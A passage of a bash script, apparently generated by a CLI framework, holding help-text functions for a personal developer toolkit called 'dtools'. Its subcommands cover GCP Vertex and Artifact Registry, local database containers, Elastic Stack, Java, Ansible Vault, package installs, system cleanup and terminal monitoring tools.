model-training/388781844076/vertex-model-training-pipeline-20250319032739/store-model-in-gcs_1311307013581438976\n -e alex-arrhythmia-test-endpoint\n" echo fi } dtools_gcp_vertex_predict_usage() { printf "dtools gcp vertex predict - Query a Vertex endpoint with a prediction request\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp vertex predict [OPTIONS]\n" printf " dtools gcp vertex predict --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--file, -f FILE")" printf " The JSON file to query the model with\n" echo printf " %s\n" "$(magenta "--endpoint-name, -e ENDPOINT_NAME")" printf " The name of the endpoint to query\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_gcp_vertex_list_endpoints_usage() { printf "dtools gcp vertex list-endpoints - List all Vertex endpoints for the specified project and region\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp vertex list-endpoints [OPTIONS]\n" printf " dtools gcp vertex list-endpoints --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the gcloud query with full details in JSON format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_gcp_vertex_tail_endpoint_logs_usage() { printf "dtools gcp vertex tail-endpoint-logs - Tail the logs for the given endpoint\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp vertex tail-endpoint-logs ENDPOINT_NAME [OPTIONS]\n" printf " dtools gcp vertex tail-endpoint-logs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "ENDPOINT_NAME")" printf " The name of the endpoint whose logs you wish to tail\n" echo fi } dtools_gcp_artifacts_usage() { printf "dtools gcp artifacts - GCP Artifact Registry commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp artifacts COMMAND\n" printf " dtools gcp artifacts [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s List all repositories in artifact registry for the specified project and location\n" "$(green "list-repositories")" printf " %s List all images contained with the specified artifact registry repository\n" "$(green "list-images") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_gcp_artifacts_list_repositories_usage() { printf "dtools gcp artifacts list-repositories - List all repositories in artifact registry for the specified project and location\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp artifacts list-repositories [OPTIONS]\n" printf " dtools gcp artifacts list-repositories --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_gcp_artifacts_list_images_usage() { printf "dtools gcp artifacts list-images - List all images contained with the specified artifact registry repository\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp artifacts list-images REPOSITORY_NAME [OPTIONS]\n" printf " dtools gcp artifacts list-images --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the images with full details in JSON format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "REPOSITORY_NAME")" printf " The GCP docker repository whose images you wish to list\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools gcp artifacts list-images serving-docker\n" echo fi } dtools_db_usage() { printf "dtools db - Database commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools db COMMAND\n" printf " dtools db [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Start an interactive Docker container with psql to experiment with PostgreSQL.\n" "$(green "postgres")" printf " %s Start an interactive Docker container with mysql to experiment with MySQL.\n" "$(green "mysql") " printf " %s Start a Harlequin session to big query using the specified project\n" "$(green "bigquery")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_db_postgres_usage() { if [[ -n $long_usage ]]; then printf "dtools db postgres\n\n" printf " Start an interactive Docker container with psql to experiment with PostgreSQL.\n The default password is 'password'.\n \n The current directory is also mounted as a read-only volume under '/data' to\n run scripts.\n\n" else printf "dtools db postgres - Start an interactive Docker container with psql to experiment with PostgreSQL.\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools db postgres [OPTIONS]\n" printf " dtools db postgres --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--dump")" printf " Dump the persistent DB into a single large SQL script\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump-to-dbml, --schema" echo printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.db/postgres/) to load/wipe\n the DB from\n" printf " %s\n" "Default: default" echo printf " %s\n" "$(magenta "--dump-to-dbml")" printf " Dumps the persistent DB into DBML to be imported into dbdiagram.io\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump" echo printf " %s\n" "$(magenta "--schema, -s SCHEMA (repeatable)")" printf " Specify the schema to dump\n" printf " %s\n" "Needs: --dump-to-dbml, --database" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--tui")" printf " Open the DB in a TUI (harlequin)\n" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--persistent")" printf " Persist the DB data to disk (persists to ~/.db/postgres)\n" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any persistent data from the disk before starting the container\n" printf " %s\n" "Needs: --persistent" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--database DATABASE")" printf " Specify the name of the databaose to use\n" echo printf " %s\n" "$(magenta "--port PORT")" printf " Specify the host port to expose the DB on\n" printf " %s\n" "Default: 5432" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_db_mysql_usage() { if [[ -n $long_usage ]]; then printf "dtools db mysql\n\n" printf " Start an interactive Docker container with mysql to experiment with MySQL.\n The default password is 'password'.\n \n The current directory is also mounted as a read-only volume under '/app' to\n run scripts.\n\n" else printf "dtools db mysql - Start an interactive Docker container with mysql to experiment with MySQL.\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools db mysql [OPTIONS]\n" printf " dtools db mysql --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.db/mysql/) to load/wipe the\n DB from\n" printf " %s\n" "Default: default" echo printf " %s\n" "$(magenta "--dump")" printf " Dump the persistent DB into a single large SQL script\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump-to-dbml" echo printf " %s\n" "$(magenta "--dump-to-dbml")" printf " Dumps the persistent DB into DBML to be imported into dbdiagram.io\n" printf " %s\n" "Conflicts: --tui, --persistent, --wipe-persistent-data, --dump" echo printf " %s\n" "$(magenta "--tui")" printf " Open the DB in a TUI (harlequin)\n" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--persistent")" printf " Persist the DB data to disk (persists to ~/.db/mysql)\n" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any persistent data from the disk before starting the container\n" printf " %s\n" "Needs: --persistent" printf " %s\n" "Conflicts: --dump" echo printf " %s\n" "$(magenta "--database DATABASE")" printf " Specify the name of the databaose to use\n" echo printf " %s\n" "$(magenta "--port PORT")" printf " Specify the host port to expose the DB on\n" printf " %s\n" "Default: 3306" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_db_bigquery_usage() { printf "dtools db bigquery - Start a Harlequin session to big query using the specified project\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools db bigquery [OPTIONS]\n" printf " dtools db bigquery --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT (required)")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_elastic_usage() { printf "dtools elastic - Elastic Stack commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools elastic COMMAND\n" printf " dtools elastic [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "init") " printf " %s Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "start")" printf " %s Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "stop") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_elastic_init_usage() { printf "dtools elastic init - Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools elastic init\n" printf " dtools elastic init --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_elastic_start_usage() { if [[ -n $long_usage ]]; then printf "dtools elastic start\n\n" printf " Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n Default credentials:\n \n Username: elastic\n Password: changeme\n\n" else printf "dtools elastic start - Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools elastic start\n" printf " dtools elastic start --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_elastic_stop_usage() { printf "dtools elastic stop - Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools elastic stop\n" printf " dtools elastic stop --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_java_usage() { printf "dtools java - Java commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools java COMMAND\n" printf " dtools java [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Sets the system-wide Java version\n" "$(green "set-version") " printf " %s Perform static code analysis for the current directory's Java project with SonarQube\n" "$(green "analyze-with-sonar")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_java_set_version_usage() { printf "dtools java set-version - Sets the system-wide Java version\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools java set-version VERSION\n" printf " dtools java set-version --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "VERSION")" printf " The Java version to use\n" printf " %s\n" "Allowed: 8, 11, 17, 21" echo printf "%s\n" "$(bold "Examples:")" printf " dtools java set-version 17\n" echo fi } dtools_java_analyze_with_sonar_usage() { printf "dtools java analyze-with-sonar - Perform static code analysis for the current directory's Java project with SonarQube\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools java analyze-with-sonar [OPTIONS]\n" printf " dtools java analyze-with-sonar --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--sonar-url, -u SONAR_URL (required)")" printf " The SonarQube server URL to use for analysis\n" echo printf " %s\n" "$(magenta "--sonar-login, -l SONAR_LOGIN (required)")" printf " The SonarQube login token to use for analysis\n" echo printf " %s\n" "$(magenta "--sonar-project-key, -k SONAR_PROJECT_KEY (required)")" printf " The SonarQube project key to use for analysis\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ansible_usage() { printf "dtools ansible - Ansible commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ansible COMMAND\n" printf " dtools ansible [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n" "$(green "encrypt-string") " printf " %s Decrypt a variable encrypted with Ansible Vault\n" "$(green "decrypt-variable")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ansible_encrypt_string_usage() { printf "dtools ansible encrypt-string - Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ansible encrypt-string [OPTIONS]\n" printf " dtools ansible encrypt-string --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--copy-output-to-clipboard, -c")" printf " Instead of outputting the encrypted secret to stdout, copy it to your\n clipboard\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools ansible encrypt-string -c\n" echo fi } dtools_ansible_decrypt_variable_usage() { printf "dtools ansible decrypt-variable - Decrypt a variable encrypted with Ansible Vault\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ansible decrypt-variable [OPTIONS]\n" printf " dtools ansible decrypt-variable --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--variable, -v VARIABLE (required)")" printf " The name of the variable you wish to decrypt\n" echo printf " %s\n" "$(magenta "--file, -f FILE (required)")" printf " The inventory file/playbook file that the variable lives in\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools ansible decrypt-variable -v some_variable -f\n inventories/local/group_vars/local.yml\n" echo fi } dtools_install_usage() { printf "dtools install - Install commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools install COMMAND\n" printf " dtools install [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Install Docker (Debian-based systems only)\n" "$(green "docker") " printf " %s Install Ansible\n" "$(green "ansible")" printf " %s Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n" "$(green "java") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_install_docker_usage() { printf "dtools install docker - Install Docker (Debian-based systems only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools install docker\n" printf " dtools install docker --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_install_ansible_usage() { printf "dtools install ansible - Install Ansible\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools install ansible\n" printf " dtools install ansible --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_install_java_usage() { printf "dtools install java - Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools install java\n" printf " dtools install java --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_clean_usage() { printf "dtools clean - System cleaning commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools clean COMMAND\n" printf " dtools clean [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Perform a system-wide upkeep cleanup with BleachBit\n" "$(green "bleachbit") " printf " %s Clean docker images, containers, and volumes\n" "$(green "docker") " printf " %s Clean package manager caches (Debian-based systems only)\n" "$(green "package-caches")" printf " %s Clean up system logs by deleting old logs and clearing the journal\n" "$(green "logs") " printf " %s Clean all build caches\n" "$(green "build-caches") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_clean_bleachbit_usage() { if [[ -n $long_usage ]]; then printf "dtools clean bleachbit\n\n" printf " Perform a system-wide upkeep cleanup with BleachBit\n Note: This will clean Chrome, Opera, and Chromium caches and passwords\n\n" else printf "dtools clean bleachbit - Perform a system-wide upkeep cleanup with BleachBit\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools clean bleachbit\n" printf " dtools clean bleachbit --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_clean_docker_usage() { printf "dtools clean docker - Clean docker images, containers, and volumes\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools clean docker\n" printf " dtools clean docker --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_clean_package_caches_usage() { printf "dtools clean package-caches - Clean package manager caches (Debian-based systems only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools clean package-caches\n" printf " dtools clean package-caches --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_clean_logs_usage() { printf "dtools clean logs - Clean up system logs by deleting old logs and clearing the journal\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools clean logs\n" printf " dtools clean logs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_clean_build_caches_usage() { printf "dtools clean build-caches - Clean all build caches\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools clean build-caches CODE-DIRECTORY\n" printf " dtools clean build-caches --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "CODE-DIRECTORY")" printf " The base directory for all of your code repositories to recursively clean\n build caches from\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools clean build-caches ~/code\n" echo fi } dtools_tui_usage() { printf "dtools tui - TUIs (Documentation only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui COMMAND\n" printf " dtools tui [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Monitoring TUIs Commands:")" printf " %s TUIs for monitoring systems\n" "$(green "monitoring") " echo printf "%s\n" "$(bold "Network Monitoring TUIs Commands:")" printf " %s TUIs for monitoring network activities\n" "$(green "network-monitoring")" echo printf "%s\n" "$(bold "Network TUIs Commands:")" printf " %s TUIs for various network tools\n" "$(green "network") " echo printf "%s\n" "$(bold "Docker TUIs Commands:")" printf " %s TUIs for Docker related tools\n" "$(green "docker") " echo printf "%s\n" "$(bold "Development TUIs Commands:")" printf " %s TUIs for development related tools\n" "$(green "development") " echo printf "%s\n" "$(bold "Dev Help TUIs Commands:")" printf " %s TUIs for helping devs get help or solve problems\n" "$(green "dev-help") " echo printf "%s\n" "$(bold "Data TUIs Commands:")" printf " %s TUIs to query or analyze data\n" "$(green "data") " echo printf "%s\n" "$(bold "Miscellaneous TUIs Commands:")" printf " %s TUIs for miscellaneous things\n" "$(green "misc") " echo printf "%s\n" "$(bold "Sandbox TUIs Commands:")" printf " %s TUIs for sandboxing applications or experimentation\n" "$(green "sandbox") " echo printf "%s\n" "$(bold "AI TUIs Commands:")" printf " %s TUIs for AI related tooling\n" "$(green "ai") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_monitoring_usage() { printf "dtools tui monitoring - TUIs for monitoring systems\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui monitoring COMMAND\n" printf " dtools tui monitoring [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Interactive process viewer (btop)\n" "$(green "system-monitor")" printf " %s Monitor your PiHole server (pimon)\n" "$(green "pihole-monitor")" printf " %s Linux kernel manager and activity monitor (kmon)\n" "$(green "kernel-monitor")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_monitoring_system_monitor_usage() { printf "dtools tui monitoring system-monitor - Interactive process viewer (btop)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui monitoring system-monitor\n" printf " dtools tui monitoring system-monitor --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_monitoring_pihole_monitor_usage() { printf "dtools tui monitoring pihole-monitor - Monitor your PiHole server (pimon)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui monitoring pihole-monitor\n" printf " dtools tui monitoring pihole-monitor --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_monitoring_kernel_monitor_usage() { printf "dtools tui monitoring kernel-monitor - Linux kernel manager and activity monitor (kmon)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui monitoring kernel-monitor\n" printf " dtools tui monitoring kernel-monitor --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_monitoring_usage() { printf "dtools tui network-monitoring - TUIs for monitoring network activities\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring COMMAND\n" printf " dtools tui network-monitoring [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s WiFi monitor to display stats about your current connection like signal strength (wavemon)\n" "$(green "wavemon") " printf " %s Network diagnostic tool (trippy)\n" "$(green "network-diags")" printf " %s Monitor IP traffic (iptraf)\n" "$(green "ip-traffic") " printf " %s User-friendly and detailed socket statistics (neoss)\n" "$(green "socket-stats") " printf " %s Terminal network scanner and diagnostic tool (netscanner)\n" "$(green "netscanner") " printf " %s A modern, cross‑platform CLI to monitor websites and APIs. (uptimekit)\n" "$(green "upkit") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_monitoring_wavemon_usage() { printf "dtools tui network-monitoring wavemon - WiFi monitor to display stats about your current connection like signal strength (wavemon)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring wavemon\n" printf " dtools tui network-monitoring wavemon --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_monitoring_network_diags_usage() { printf "dtools tui network-monitoring network-diags - Network diagnostic tool (trippy)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring network-diags\n" printf " dtools tui network-monitoring network-diags --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_monitoring_ip_traffic_usage() { printf "dtools tui network-monitoring ip-traffic - Monitor IP traffic (iptraf)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring ip-traffic\n" printf " dtools tui network-monitoring ip-traffic --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_monitoring_socket_stats_usage() { printf "dtools tui network-monitoring socket-stats - User-friendly and detailed socket statistics (neoss)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring socket-stats\n" printf " dtools tui network-monitoring socket-stats --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_monitoring_netscanner_usage() { printf "dtools tui network-monitoring netscanner - Terminal network scanner and diagnostic tool (netscanner)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring netscanner\n" printf " dtools tui network-monitoring netscanner --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } 